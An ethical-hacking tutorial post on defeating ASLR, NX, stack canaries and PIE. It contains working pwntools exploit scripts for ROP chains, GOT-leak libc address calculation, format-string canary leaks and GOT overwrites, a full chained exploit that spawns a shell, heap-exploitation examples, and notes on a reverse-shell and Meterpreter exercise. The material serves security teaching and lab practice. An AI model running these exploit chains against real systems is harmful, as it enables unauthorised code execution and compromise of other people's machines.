Learn Ethical Hacking (#43) - Exploit Development Advanced - Modern Mitigations and Bypasses
Learn Ethical Hacking (#43) - Exploit Development Advanced - Modern Mitigations and Bypasses

What will I learn
- ROP (Return-Oriented Programming) -- chaining existing code fragments to bypass DEP/NX;
- ASLR bypass techniques -- information leaks, partial overwrites, and brute forcing;
- Stack canary bypass -- format string vulnerabilities and fork-based brute forcing;
- Heap exploitation fundamentals -- use-after-free, double free, and heap spraying;
- Format string vulnerabilities -- reading and writing arbitrary memory through printf;
- Modern exploit chains -- combining multiple primitives to defeat layered defenses;
- Pwntools -- the Python library that makes exploit development productive;
- Defense: understanding why defense-in-depth works against exploit chains.
Requirements
- A working modern computer running macOS, Windows or Ubuntu;
- Understanding of buffer overflows and shellcode from Episode 42;
- GDB with pwndbg or GEF extension;
- Python 3 with pwntools installed;
- The ambition to learn ethical hacking and security research.
Difficulty
- Advanced
Curriculum (of the Learn Ethical Hacking series):
- Learn Ethical Hacking (#1) - Why Hackers Win
- Learn Ethical Hacking (#2) - Your Hacking Lab
- Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers
- Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed
- Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface
- Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster
- Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher
- Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human
- Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)
- Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit
- Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection
- Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die
- Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases
- Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers
- Learn Ethical Hacking (#15) - XSS Advanced - Bypassing Filters and CSP
- Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves
- Learn Ethical Hacking (#17) - Authentication Bypass - Getting In Without a Password
- Learn Ethical Hacking (#18) - Server-Side Request Forgery - Making Servers Betray Themselves
- Learn Ethical Hacking (#19) - Insecure Deserialization - Code Execution via Data
- Learn Ethical Hacking (#20) - File Upload Vulnerabilities - When Users Upload Weapons
- Learn Ethical Hacking (#21) - API Security - The New Attack Surface
- Learn Ethical Hacking (#22) - Business Logic Flaws - When the Code Works But the Logic Doesn't
- Learn Ethical Hacking (#23) - Client-Side Attacks - Beyond XSS
- Learn Ethical Hacking (#24) - Content Management Systems - Hacking WordPress and Friends
- Learn Ethical Hacking (#25) - Web Application Firewalls - Bypassing the Guards
- Learn Ethical Hacking (#26) - The Full Web Pentest - Methodology and Reporting
- Learn Ethical Hacking (#27) - Bug Bounty Hunting - Getting Paid to Hack the Web
- Learn Ethical Hacking (#28) - The AI Web Attack Surface - AI Features as Vulnerabilities
- Learn Ethical Hacking (#29) - Network Sniffing - Seeing Everything on the Wire
- Learn Ethical Hacking (#30) - Wireless Network Attacks - Breaking Wi-Fi
- Learn Ethical Hacking (#31) - Privilege Escalation - Linux
- Learn Ethical Hacking (#32) - Privilege Escalation - Windows
- Learn Ethical Hacking (#33) - Active Directory Attacks - The Crown Jewels
- Learn Ethical Hacking (#34) - Pivoting and Lateral Movement - Spreading Through Networks
- Learn Ethical Hacking (#35) - Cloud Security - AWS Attack and Defense
- Learn Ethical Hacking (#36) - Cloud Security - Azure and GCP
- Learn Ethical Hacking (#37) - Container Security - Docker and Kubernetes Attacks
- Learn Ethical Hacking (#38) - Infrastructure as Code - Securing the Automation
- Learn Ethical Hacking (#39) - Email Security - Phishing Infrastructure and Defense
- Learn Ethical Hacking (#40) - DNS Attacks - Exploiting the Internet's Foundation
- Learn Ethical Hacking (#41) - Exploitation Frameworks - Metasploit and Cobalt Strike
- Learn Ethical Hacking (#42) - Custom Exploit Development - Writing Your Own
- Learn Ethical Hacking (#43) - Exploit Development Advanced - Modern Mitigations and Bypasses (this post)
Solutions to Episode 42 Exercises
Exercise 1: Buffer overflow with shellcode.
# Compile: gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie -m32
# Offset found: 76 bytes to EIP
# GDB session:
(gdb) run $(python3 -c "print('A'*76 + 'BBBB')")
# EIP = 0x42424242 -- confirmed control
# Shellcode (msfvenom linux/x86/shell_reverse_tcp, 95 bytes)
# Buffer address found in GDB: 0xbffff5a0
# NOP sled + shellcode placed after return address
# Exploit: padding(76) + ret_addr + nop(100) + shellcode
# Result: reverse shell received on attacker machine
The key insight here is that msf-pattern_create and msf-pattern_offset make finding the exact offset trivial -- every 4-byte subsequence in the pattern is unique, so the crashed EIP value maps to exactly one offset. Once you know the offset (76 bytes), you own the instruction pointer. The NOP sled gives you a ~100 byte landing zone so you don't need to hit the exact shellcode start address.
Exercise 2: Return-to-libc.
# ASLR disabled: echo 0 > /proc/sys/kernel/randomize_va_space
# libc base: 0xf7c00000
# system(): 0xf7c48150
# "/bin/sh": 0xf7dbd0f5
# Payload: padding(76) + system_addr + "BBBB" + binsh_addr
# Result: shell spawned via system("/bin/sh")
# ASLR re-enabled: exploit fails because all addresses change
# system() is no longer at 0xf7c48150
# Need information leak to discover runtime addresses
The return-to-libc bypass is elegant because you never inject code -- you reuse system() and "/bin/sh" that already exist in the process memory. NX/DEP is completely irrelevant. But ASLR breaks it immediately because every address shifts on each execution. That's exactly what we're going to solve in this episode.
Exercise 3: Custom Metasploit module.
# The module wraps our buffer overflow in Metasploit's standard
# search-select-configure-exploit workflow:
# - Targets array handles different OS/libc versions
# - rand_text() avoids IDS signatures from repeated bytes
# - payload.encoded uses the user's chosen shellcode
# - handler() manages the incoming session
# Test: msfconsole -> use exploit/linux/misc/custom_bof
# set RHOSTS 192.168.1.100 -> set LHOST 10.10.14.5
# set payload linux/x86/meterpreter/reverse_tcp -> exploit
# [*] Meterpreter session 1 opened
The module structure separates the vulnerability trigger (your exploit code) from the payload (user's choice). That separation is the entire point of frameworks -- same exploit, different payloads, different targets, one unified interface.
Learn Ethical Hacking (#43) - Exploit Development Advanced - Modern Mitigations and Bypasses
Episode 42 covered the foundations of custom exploit development -- the call stack, buffer overflows, strcpy as the original sin of C programming, shellcode writing with null-byte avoidance, NOP sleds for reliability, the GDB debugging workflow, return-to-libc as the first NX bypass, and packaging exploits into reusable Metasploit modules. You can now find the offset to a return address with msf-pattern_create, write a working buffer overflow exploit against an unprotected binary, and understand WHY strcpy has been causing security incidents since 1988.
But we deliberately disabled every protection: -fno-stack-protector -z execstack -no-pie -m32. Real software does NOT do this. Every modern compiler enables stack canaries by default. Every modern OS randomizes addresses with ASLR. Every modern kernel marks the stack non-executable. And increasingly, binaries are compiled as Position-Independent Executables with full RELRO.
This episode is about what happens when the defenses are ON. And how attackers bypass them anyway.
Here we go.
The Layered Defense Problem
At the end of episode 42, we listed the modern mitigation stack: ASLR, DEP/NX, stack canaries, PIE, RELRO, CFI. Each one blocks a specific exploitation primitive. ASLR breaks hardcoded addresses. DEP stops shellcode on the stack. Canaries detect stack overwrites. PIE randomizes the code section. The question every exploit developer faces is: how do I defeat ALL of them in a single exploit?
The answer, almost always, involves two things: an information leak and a code reuse attack. The information leak defeats ASLR (and PIE and canaries) by revealing runtime addresses. The code reuse attack defeats DEP by using existing code instead of injecting new code. Combine the two and you can exploit a fully protected binary.
But first, you need better tools.
Pwntools -- Your New Best Friend
Pwntools (https://github.com/Gallopsled/pwntools) is the Python framework that makes binary exploitation practical. We were writing raw struct.pack calls and subprocess.run in episode 42 -- that works for simple exploits, but once you're chaining information leaks with ROP chains across two execution stages, you need something better.
# Install pwntools
pip install pwntools
# Verify
python3 -c "from pwn import *; print(pwnlib.version)"
from pwn import *
# Context -- tell pwntools what architecture we're targeting
context.arch = 'i386'
context.os = 'linux'
context.log_level = 'info'
# Load the binary -- pwntools parses the ELF automatically
elf = ELF('./vuln')
print(f"Entry point: {hex(elf.entry)}")
print(f"GOT entries: {elf.got}")
print(f"PLT entries: {elf.plt}")
# Find ROP gadgets -- pwntools scans for ret-ending sequences
rop = ROP(elf)
print(rop.dump())
# Generate shellcode (replaces msfvenom for simple payloads)
shellcode = asm(shellcraft.sh())
print(f"Shellcode: {len(shellcode)} bytes")
# Create cyclic pattern (replaces msf-pattern_create)
pattern = cyclic(200)
# After crash: cyclic_find(0x61616174) -> offset
# Pack/unpack addresses
addr = p32(0xdeadbeef) # pack 32-bit little-endian
val = u32(b'\xef\xbe\xad\xde') # unpack 32-bit
# Connect to target
# p = process('./vuln') # local
# p = remote('target.com', 9999) # remote CTF target
What took 50+ lines of manual Python in episode 42 -- struct.pack, subprocess, manual address arithmetic -- takes about 10 lines with pwntools. And the real power shows up when you're building multi-stage exploits, which is exactly what ASLR bypass requires.
ROP -- Return-Oriented Programming
Episode 42 introduced return-to-libc -- overwriting the return address with system() to call a single function. That's a one-shot attack: you call one function with one argument. But what if you need to do something more complex? What if system() isn't available? What if you need to set up multiple registers before making a syscall?
Return-Oriented Programming is the generalization of return-to-libc. Instead of calling one function, you chain together dozens of tiny instruction sequences -- called gadgets -- that already exist in the binary and its libraries. Each gadget ends with a ret instruction, which pops the next address from the stack and jumps to it. By carefully arranging addresses on the stack, you can perform arbitrary computation without injecting a single byte of new code.
Stack layout for a ROP chain:
+-------------------+
| padding (76 bytes)| <- fills buffer + saved EBP
+-------------------+
| gadget_1 address | -> pop edi; ret
+-------------------+
| value_for_edi | <- edi = 0x0000000b (execve syscall number)
+-------------------+
| gadget_2 address | -> pop esi; ret
+-------------------+
| value_for_esi | <- esi = pointer to "/bin/sh"
+-------------------+
| gadget_3 address | -> pop edx; ret
+-------------------+
| value_for_edx | <- edx = 0 (envp = NULL)
+-------------------+
| gadget_4 address | -> int 0x80
+-------------------+
Each ret pops the next address and jumps there. The CPU bounces from gadget to gadget like a pinball, executing 2-3 instructions at each stop, with each gadget loading a register value or performing an operation before returning to the next one. By the time the chain reaches the int 0x80 syscall instruction, all registers contain exactly the values you need.
# Finding gadgets with ROPgadget
ROPgadget --binary vuln | grep "pop edi ; ret"
# 0x080491e3 : pop edi ; ret
ROPgadget --binary vuln | grep "pop esi ; ret"
# 0x080491e1 : pop esi ; ret
ROPgadget --binary vuln | grep "int 0x80"
# 0x08049203 : int 0x80
# Or with ropper (alternative tool, same purpose)
ropper --file vuln --search "pop edi"
from pwn import *
# Pwntools automates the entire ROP chain construction
elf = ELF('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# Auto-find gadgets and build the chain
rop = ROP(elf)
# Option 1: Call system("/bin/sh") -- like ret2libc but automated
rop.call('system', [next(libc.search(b'/bin/sh'))])
# Option 2: Build a full execve chain from gadgets
# rop.execve(b'/bin/sh', 0, 0)
# Construct the payload
payload = b'A' * 76 # padding to return address
payload += rop.chain() # the ROP chain
# Send it
p = process('./vuln')
p.sendline(payload)
p.interactive()
Pwntools handles the tedious parts: scanning the binary for usable gadgets, calculating offsets, packing addresses in the right byte order. What takes hours of manual work with ROPgadget and a text editor takes minutes with ROP(elf). The rop.chain() call outputs raw bytes -- your arranged stack -- ready to paste into a payload.
ASLR Bypass -- The Information Leak
ASLR randomizes where libraries are loaded in memory. The system() address we hardcoded in episode 42 (0xf7c48150) changes on every execution. You can't predict where libc will be. But if you can leak one address from libc at runtime, you can calculate where everything else is.
The technique is called GOT leaking. The Global Offset Table (GOT) is a table in every ELF binary that stores the runtime addresses of dynamically linked functions. When your program calls puts(), it actually calls through the GOT entry for puts, which holds the real address of puts in libc. If you can read that GOT entry, you know where puts lives in memory, and from that you can calculate libc's base address and derive the address of every other function.
from pwn import *
elf = ELF('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
p = process('./vuln')
# STAGE 1: Leak a libc address
# Build a ROP chain that calls puts(GOT[puts])
# This prints the runtime address of puts to stdout
rop1 = ROP(elf)
rop1.puts(elf.got['puts']) # call puts with GOT entry as argument
rop1.call(elf.symbols['main']) # return to main() for a second shot
payload1 = b'A' * 76 + rop1.chain()
p.sendline(payload1)
# Parse the leaked address from the output
p.recvuntil(b'You said: ') # skip the normal program output
p.recvline() # skip our padding
leaked_puts = u32(p.recv(4))
log.info(f"Leaked puts: {hex(leaked_puts)}")
# STAGE 2: Calculate libc base
libc.address = leaked_puts - libc.symbols['puts']
log.info(f"libc base: {hex(libc.address)}")
# Now we know where EVERYTHING is
log.info(f"system: {hex(libc.symbols['system'])}")
log.info(f"/bin/sh: {hex(next(libc.search(b'/bin/sh')))}")
# STAGE 3: Exploit with real addresses
rop2 = ROP(libc)
rop2.call('system', [next(libc.search(b'/bin/sh'))])
payload2 = b'A' * 76 + rop2.chain()
p.sendline(payload2)
p.interactive()
This is the fundamental ASLR bypass pattern: leak, calculate, exploit. First overflow: use a function like puts() or write() to print a GOT entry, then return to main() so the program doesn't crash. Parse the leaked address. Subtract the known offset of that function within libc to get the base address. Second overflow: now you know where everything is, build your real ROP chain with correct addresses.
The reason this works is that ASLR randomizes the base address but not the offsets between functions within a library. If puts is at offset 0x00076150 within libc, it's ALWAYS at offset 0x00076150. If the leaked runtime address of puts is 0xf7c76150, then libc's base is 0xf7c76150 - 0x00076150 = 0xf7c00000. And system() is at 0xf7c00000 + 0x00048150 = 0xf7c48150. One leak, every address calculated.
Stack Canary Bypass
Stack canaries (also called stack cookies or stack guards) are random values placed between local variables and the saved return address. Before a function returns, the compiler-generated code checks if the canary was modified. If it was, the program calls __stack_chk_fail() and aborts instead of returning to the corrupted address:
Stack with canary:
+-------------------+
| Return address | <- target of overflow
+-------------------+
| Saved EBP |
+-------------------+
| CANARY VALUE | <- random value, checked before return
+-------------------+
| Local variables | <- buffer starts here
+-------------------+
You can't just overwrite through the canary with garbage -- the check will catch it and the program aborts before your controlled return address is ever used. You need to either leak the canary value (so you can include the correct canary in your overflow) or avoid overwriting it entirely.
The most common canary bypass uses a format string vulnerability to read the canary from the stack:
// Program with both a format string bug AND a buffer overflow
void vuln(char *input) {
char buf[64];
printf(input); // FORMAT STRING VULNERABILITY
gets(buf); // BUFFER OVERFLOW
}
from pwn import *
p = process('./vuln_canary')
# Step 1: Use format string to leak the canary
# %11$x reads the 11th value on the stack (where the canary sits)
p.sendline(b'%11$x')
canary = int(p.recvline().strip(), 16)
log.info(f"Leaked canary: {hex(canary)}")
# Step 2: Build overflow payload WITH the correct canary
payload = b'A' * 64 # fill buffer
payload += p32(canary) # preserve the canary value!
payload += b'B' * 4 # overwrite saved EBP
payload += p32(0xdeadbeef) # overwrite return address
p.sendline(payload)
The canary check passes because you wrote the CORRECT value back. The program doesn't know the canary was overwritten -- it sees the expected value and proceeds to return to your controlled address. This is why canaries alone are not sufficient -- they protect against blind overwrites but not against targeted attacks where the attacker can first read the canary.
Another bypass works on forking servers (like Apache or nginx worker processes). When a process calls fork(), the child gets an identical copy of the parent's memory -- including the same canary value. If the child crashes, the parent spawns a new child with the same canary. This means you can brute-force the canary one byte at a time: overwrite the first byte with every value from 0x00 to 0xFF. When the child doesn't crash, you found the correct byte. Repeat for all 4 bytes (on 32-bit). That's 4 * 256 = 1,024 attempts maximum, which takes seconds.
Format String Vulnerabilities -- Read AND Write
Format string bugs deserve their own section because they are both an information leak primitive (bypass ASLR, leak canaries) and a write primitive (overwrite return addresses, GOT entries). That combination makes them extremely powerful.
// Vulnerable:
printf(user_input); // user controls the format string!
// Safe:
printf("%s", user_input); // user input is just data
When you control the format string, printf reads arguments from the stack -- but you haven't pushed any real arguments. It reads whatever happens to be there: local variables, saved registers, return addresses, canary values:
# Read from stack -- each %08x reads the next 4 bytes
./vuln "AAAA %08x %08x %08x %08x %08x %08x %08x"
# Output: AAAA bffff6a0 00000064 f7c48150 00000000 41414141 ...
# ^^^^^^^^
# our "AAAA" appears at position 5!
# Direct parameter access -- read the Nth stack value
./vuln "%5\$08x"
# Output: 41414141 (our input, confirming position 5)
# Read arbitrary memory -- place an address, then read the string there
./vuln $(python3 -c "import sys; sys.stdout.buffer.write(b'\x50\x81\xc4\xf7%5\$s')")
# Reads the string at address 0xf7c48150 (wherever system() lives)
The write primitive uses %n, which writes the number of characters printed so far to an address on the stack:
from pwn import *
# Write a specific value to a specific address using format string
# This overwrites the GOT entry for exit() with the address of system()
# So when the program calls exit(), it actually calls system()
target_addr = elf.got['exit']
desired_value = libc.symbols['system']
# pwntools has a helper for this
payload = fmtstr_payload(5, {target_addr: desired_value})
p.sendline(payload)
The fmtstr_payload function from pwntools handles the complex arithmetic of splitting a 4-byte write into multiple %n writes with the right padding. Doing this manually requires calculating how many characters need to be printed before each %n to achieve the desired byte values -- pwntools does it in one line.
Format string vulnerabilities combine information leak (read the canary, read libc addresses) with arbitrary write (overwrite GOT entries, overwrite return addresses) in a single bug class. That is why they remain one of the most valuable vulnerability primitives in exploit development, even though printf(user_input) is a mistake that seems obvious in hindsight.
Heap Exploitation -- The New Frontier
Stack overflows are well-understood and heavily mitigated. The heap is where the real action is in modern exploitation. Heap vulnerabilities are more complex, harder to detect, and often more powerful than stack-based bugs.
Use-After-Free (UAF)
Use-after-free is the most common vulnerability class in modern browsers and operating systems. The pattern: free a memory region, allocate new data that occupies the same memory, then use the old pointer (which now points to attacker-controlled data):
typedef struct {
void (*handler)(char *); // function pointer
char data[64];
} Request;
Request *req = malloc(sizeof(Request));
req->handler = process_request;
strcpy(req->data, user_input);
free(req); // freed, but 'req' pointer still exists!
// ... other code runs, maybe allocates memory ...
char *attacker = malloc(sizeof(Request));
// This allocation may reuse the same memory as req
// Attacker controls the contents:
memset(attacker, 0, sizeof(Request));
*(void**)(attacker) = &evil_function; // overwrite function pointer
// Later code uses the stale 'req' pointer:
req->handler(req->data); // calls evil_function instead of
// process_request!!
UAF is particularly devastating because it targets function pointers and vtable pointers (in C++ objects). If the freed object contained a function pointer and the attacker can reallocate that memory with controlled data, they control what function gets called. CVE-2024-4947 (Chrome V8 type confusion), CVE-2024-0519 (Chrome V8 out-of-bounds access), CVE-2023-5217 (libvpx heap overflow, used in-the-wild) -- all memory corruption bugs in browser engines. UAF is the bread and butter of browser exploitation ;-)
Double Free
A double free corrupts the heap allocator's internal freelist:
char *ptr = malloc(64);
free(ptr); // ptr is now on the freelist
free(ptr); // DOUBLE FREE -- ptr is on the freelist TWICE
// The freelist now has a cycle:
// freelist -> ptr -> ... -> ptr -> ...
// Next two allocations of size 64 both return ptr
// The second allocation overlaps with the first
// Attacker controls one, uses the other -- similar to UAF
Modern allocators (glibc's ptmalloc, musl, jemalloc) have mitigations for simple double frees -- they check if the top of the freelist is the same chunk being freed. But variants exist that bypass these checks (free chunk A, free chunk B, free chunk A again -- the check only catches consecutive identical frees).
Heap Spraying
When you can't predict exact addresses (ASLR is on, heap layout is unpredictable), you can fill the heap with many copies of your payload. If you spray enough, any jump into the sprayed region hits your code:
# Conceptual heap spray (JavaScript in a browser context)
spray = []
for i in range(1000):
# Each allocation: 64KB of NOP sled + shellcode
block = "\x90" * 0x10000 + shellcode
spray.append(block)
# 1000 * 64KB = ~64MB of NOP sled + shellcode on the heap
# A corrupted function pointer jumping to any address in that
# 64MB range will hit the NOP sled and slide into shellcode
Heap spraying was the go-to browser exploitation technique from roughly 2005-2015. Modern mitigations include heap randomization (don't place allocations in predictable order), guard pages (unmapped memory between allocations to catch overflows), and memory tagging (ARM MTE marks each allocation with a random tag -- using a pointer with the wrong tag crashes immediately).
Putting It All Together -- A Full Exploit Chain
A real exploit against a fully protected binary on a modern Linux system combines multiple primitives. Here's the general flow for exploiting a vulnerable program with ASLR + DEP + Canary + PIE:
from pwn import *
elf = ELF('./protected_vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./protected_vuln')
# STEP 1: Leak the stack canary (format string, partial overwrite,
# or other info leak)
p.sendline(b'%17$p') # leak canary from stack position 17
canary = int(p.recvline().strip(), 16)
log.info(f"canary: {hex(canary)}")
# STEP 2: Leak a libc address (defeats ASLR)
# Use puts(GOT[puts]) to print a libc address
rop1 = ROP(elf)
rop1.puts(elf.got['puts'])
rop1.call(elf.symbols['main'])
payload1 = b'A' * 64
payload1 += p64(canary) # correct canary
payload1 += b'B' * 8 # saved RBP
payload1 += rop1.chain()
p.sendline(payload1)
leaked = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = leaked - libc.symbols['puts']
log.info(f"libc base: {hex(libc.address)}")
# STEP 3: ROP chain with real addresses (defeats DEP)
rop2 = ROP(libc)
rop2.call('system', [next(libc.search(b'/bin/sh'))])
payload2 = b'A' * 64
payload2 += p64(canary) # same canary (fork server or leaked)
payload2 += b'B' * 8
payload2 += rop2.chain()
p.sendline(payload2)
p.interactive()
Three primitives chained together: canary leak (defeats stack protection), address leak (defeats ASLR), ROP chain (defeats DEP). Each primitive alone is useless. Combined, they give you shell on a fully protected binary. This is why finding both an information disclosure vulnerability AND a memory corruption vulnerability in the same target is so valuable -- and why bug bounty payouts for RCE chains in hardened targets (Chrome, iOS, Windows kernel) run into hundreds of thousands of dollars.
Defense-in-Depth -- Why It Actually Works
Each mitigation is bypassable individually:
- ASLR? Information leak.
- DEP/NX? ROP chain.
- Stack canary? Format string leak or fork brute-force.
- PIE? Information leak for the code section too.
But combining them creates exponential difficulty. To exploit a binary with ASLR + DEP + Canary + PIE, you need BOTH an information leak AND a code reuse attack AND both must work within the same vulnerability context (same buffer overflow, same format string, same use-after-free). Finding ALL of those primitives in a single bug is rare. Finding them in well-audited software is very rare. Finding them in well-audited software with CFI enabled is practically a research contribution.
This is the key insight about defense-in-depth: not that any layer is unbreakable, but that breaking all of them simultaneously requires a level of vulnerability complexity that most software simply doesn't have. A single strcpy overflow is not enough. You need a strcpy overflow PLUS a format string leak in the same function, or a UAF PLUS an information disclosure in a related code path. The more mitigations are active, the more complex and fragile the exploit chain becomes.
And fragile exploits are unreliable exploits. In a real engagement, an exploit that works 40% of the time is nearly useless -- it crashes the target 60% of the time, alerting defenders and potentially breaking the service. Reliability matters as much as capability, and mitigations make reliability exponentially harder to achieve.
The AI Slop Connection
AI code generators produce memory-unsafe code at an alarming rate. They use strcpy instead of strncpy, sprintf instead of snprintf, gets instead of fgets. The models learned from decades of vulnerable C code on the internet and reproduce the same dangerous patterns because those patterns are statistically dominant in training data.
The paradox: AI generates vulenrable code at scale (more targets to exploit), but AI cannot reliably write working exploits. Exploit development requires precise understanding of memory layout, CPU register state, specific libc versions, and the interplay between multiple mitigations -- the kind of detail that language models routinely hallucinate. An AI can generate a plausible-looking pwntools script, but if the offset is wrong by one byte, or the libc version doesn't match, or the canary position is different than expected, the exploit simply crashes.
Having said that, the trajectory is concerning. AI increasing the number of vulnerabilities while the exploitation skill remains mostly human creates a temporary asymmetry. But as AI models improve at reasoning about memory state, that asymmetry may narrow. The defense side needs to keep pace -- and automated static analysis tools (like the ones we discussed in episode 38 for IaC scanning) are the defensive counterpart to AI-generated vulnerabilities. Catch the strcpy before it ships, and the exploit chain never gets built.
What Comes Next
We have covered the full exploitation pipeline now -- from scanning and discovering vulnerabilities (episodes 4-5), through web application attacks (episodes 12-28), network-level exploitation (episodes 29-30), privilege escalation (episodes 31-32), and now custom binary exploitation with mitigation bypasses. The techniques in this episode and episode 42 are what separete script kiddies from actual exploit developers -- the ability to defeat ASLR, DEP, and canaries is the bar that most defenders assume attackers cannot clear. And as we've shown, they can.
The next phase of this series moves into reverse engineering -- understanding binaries you don't have source code for, reading disassembly, identifying vulnerability patterns in compiled code. That skill is the natural extension of what we covered here: once you understand how exploits work at the binary level, you need to be able to find the vulnerabilities in the first place, even when all you have is a compiled binary and a hex editor.
Exercises
Exercise 1: Compile a program with DEP enabled but ASLR disabled (gcc -o vuln vuln.c -fno-stack-protector -no-pie -m32). Use ROPgadget to find gadgets and build a ROP chain that calls execve("/bin/sh", NULL, NULL). Use pwntools to construct and send the exploit. Document the gadgets used and the complete stack layout. Save your exploit and notes to ~/lab-tools/rop-chain/.
Exercise 2: Write a program with a format string vulnerability (printf(buf) where buf is user input). Use the format string to: (a) leak 8 values from the stack, (b) identify the offset where your input appears, (c) read the value at a specific memory address using %N$s. Use pwntools to automate the exploit. Bonus: use %n to overwrite a variable's value. Save to ~/lab-tools/format-string/.
Exercise 3: Research a real-world use-after-free CVE from the last 2 years (Chrome, Firefox, or the Linux kernel). Document: (a) the vulnerability -- what object is freed and reused, (b) the exploit strategy -- how the freed memory is reclaimed with controlled data, (c) the patch -- how the code was fixed, (d) what mitigations (sandbox, MTE, CFI) the exploit had to bypass. Write your analysis to ~/lab-notes/uaf-case-study.md.
Thanks for your contribution to the STEMsocial community. Feel free to join us on discord to get to know the rest of us!
Please consider delegating to the @stemsocial account (85% of the curation rewards are returned).
Consider setting @stemsocial as a beneficiary of this post's rewards if you would like to support the community and contribute to its mission of promoting science and education on Hive.